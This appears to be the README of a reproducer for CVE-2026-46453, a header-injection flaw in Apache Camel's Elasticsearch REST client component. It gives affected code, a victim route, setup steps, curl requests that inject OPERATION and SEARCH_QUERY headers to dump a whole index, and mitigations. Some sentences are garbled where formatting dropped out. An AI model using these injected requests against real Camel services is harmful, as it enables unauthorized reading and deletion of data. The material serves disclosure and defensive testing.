
Reproducer for CVE-2026-46453 — Apache Camel camel-elasticsearch-rest-client unprefixed-header injection (operation/query override via inbound HTTP headers)
This project demonstrates a message-header injection / authorization bypass in Apache Camel's
camel-elasticsearch-rest-client component, tracked as CVE-2026-46453. The component reads several Exchange
headers to control its behaviour — SEARCH_QUERY, OPERATION, INDEX_NAME, INDEX_SETTINGS, ID. In the
affected versions these header string values are plain, unprefixed names ("OPERATION",
"SEARCH_QUERY", …) rather than the Camel-prefixed names every other component uses. Camel's inbound
blocks only names that start with /, so these headers . When a route exposes an HTTP entry point (e.g. platform-http) in front of an
elasticsearch-rest-client producer, an untrusted HTTP client can set these headers directly and the route author configured — reading the whole index, deleting documents, etc. No
credentials are required.
HttpHeaderFilterStrategyCamelcamel| Property | Value |
|---|---|
| Component | camel-elasticsearch-rest-client |
| Affected constants | ElasticSearchRestClientConstant — ID, SEARCH_QUERY, INDEX_SETTINGS, INDEX_NAME, OPERATION (unprefixed values) |
| CWE | CWE-20 (Improper Input Validation) + CWE-639 (Authorization Bypass Through User-Controlled Key) |
| Impact | Untrusted HTTP client overrides the ES operation/query — read/delete/exfiltrate documents |
| Affected Versions | From 4.3.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0 |
| Fixed Versions | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23508 |
| Reporter | Yu Bao (PayPal) |
Same header-injection family as CVE-2025-27636, CVE-2025-29891, CVE-2025-30177, CVE-2026-40453 and CVE-2026-47323 — all stemming from components reading inbound headers the default
HeaderFilterStrategydoesn't block because the names don't start with theCamelprefix.
// ElasticSearchRestClientConstant - affected 4.18.2 (unprefixed values)
public static final String ID = "ID";
public static final String SEARCH_QUERY = "SEARCH_QUERY";
public static final String INDEX_SETTINGS = "INDEX_SETTINGS";
public static final String INDEX_NAME = "INDEX_NAME";
public static final String OPERATION = "OPERATION";
// ElasticsearchRestClientProducer#resolveOperation - the header wins over the endpoint's configured operation
ElasticsearchRestClientOperation operation
= exchange.getMessage().getHeader(OPERATION, endpoint.getOperation(), ElasticsearchRestClientOperation.class);
HttpHeaderFilterStrategy blocks only Camel*/camel*, so an inbound HTTP header OPERATION: SEARCH (and
SEARCH_QUERY: {...}) passes through and overrides the route author's operation=GET_BY_ID. The fix
(4.14.8 / 4.18.3 / 4.21.0) renames the values to CamelElasticsearchOperation, CamelElasticsearchSearchQuery,
etc., so the inbound filter blocks them (the Java field names are unchanged).
from("platform-http:/products")
.to("elasticsearch-rest-client:reproducer?hostAddressesList=<host:port>&operation=GET_BY_ID&indexName=products");
// route author intends a single, safe operation: fetch one document by id
An attacker's HTTP request with OPERATION: SEARCH + SEARCH_QUERY: {"query":{"match_all":{}}} overrides that
and dumps the whole index.
The victim is the Camel route; the attacker is any HTTP client that can reach the platform-http endpoint. The reproducer runs a real Elasticsearch in Docker and the Camel app on the host (the app talks to ES over the mapped port).
CVE-2026-46453/
├── pom.xml # camel-platform-http + camel-elasticsearch-rest-client 4.18.2
├── docker-compose.yml # Elasticsearch 8.15.3 (security disabled)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── EsSeeder.java # seeds a "public" and a "secret" document
│ ├── VictimRoute.java # platform-http -> elasticsearch-rest-client (GET_BY_ID)
│ └── ExploitController.java # attacker: legit GET_BY_ID vs injected OPERATION=SEARCH
└── resources/
└── application.properties
docker compose up -d
# wait until ready:
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:9200/ # -> 200
mvn clean package -DskipTests
java -jar target/cve-2026-46453-elasticsearch-0.0.1-SNAPSHOT.jar
# the app seeds the 'products' index with a public and a secret document on startup
curl -s http://localhost:8080/exploit/attack
# === 1) Legitimate request (ID=public-1) ===
# {"name":"Public Widget","visibility":"public"} secret leaked: false
# === 2) Attack request (OPERATION=SEARCH, SEARCH_QUERY=match_all) ===
# [ ...public..., {"name":"CLASSIFIED-LAUNCH-CODES", ...} ] secret leaked: true
#
# >>> Header-injection proof — attacker overrode the operation and read the whole index: true
You can also do it by hand — the injected headers pass straight through platform-http's inbound filter:
# legit: route author's GET_BY_ID returns only the public doc
curl -s -H "ID: public-1" http://localhost:8080/products
# attack: override the operation and dump the whole index (incl. the secret)
curl -s -H "OPERATION: SEARCH" -H 'SEARCH_QUERY: {"query":{"match_all":{}}}' http://localhost:8080/products
docker compose down
Any route that exposes an HTTP entry point in front of an elasticsearch-rest-client producer. The attacker sets
OPERATION, SEARCH_QUERY, INDEX_NAME, INDEX_SETTINGS, or ID on the inbound HTTP request; they bypass the
Camel-prefix inbound filter and reach the producer.
HttpHeaderFilterStrategy (blocks only Camel*), which does not cover the unprefixed ES headers.Upgrade to 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23508), which prefixes the header values with Camel so the
inbound filter blocks them.
Until upgrading, strip the affected headers from untrusted inbound messages before the producer:
.removeHeaders("SEARCH_QUERY|OPERATION|INDEX_NAME|INDEX_SETTINGS|ID")
or apply a custom HeaderFilterStrategy that blocks these names.
This reproducer is provided for security research and authorized testing only, for a publicly disclosed and fixed vulnerability. Do not use it against systems without explicit permission.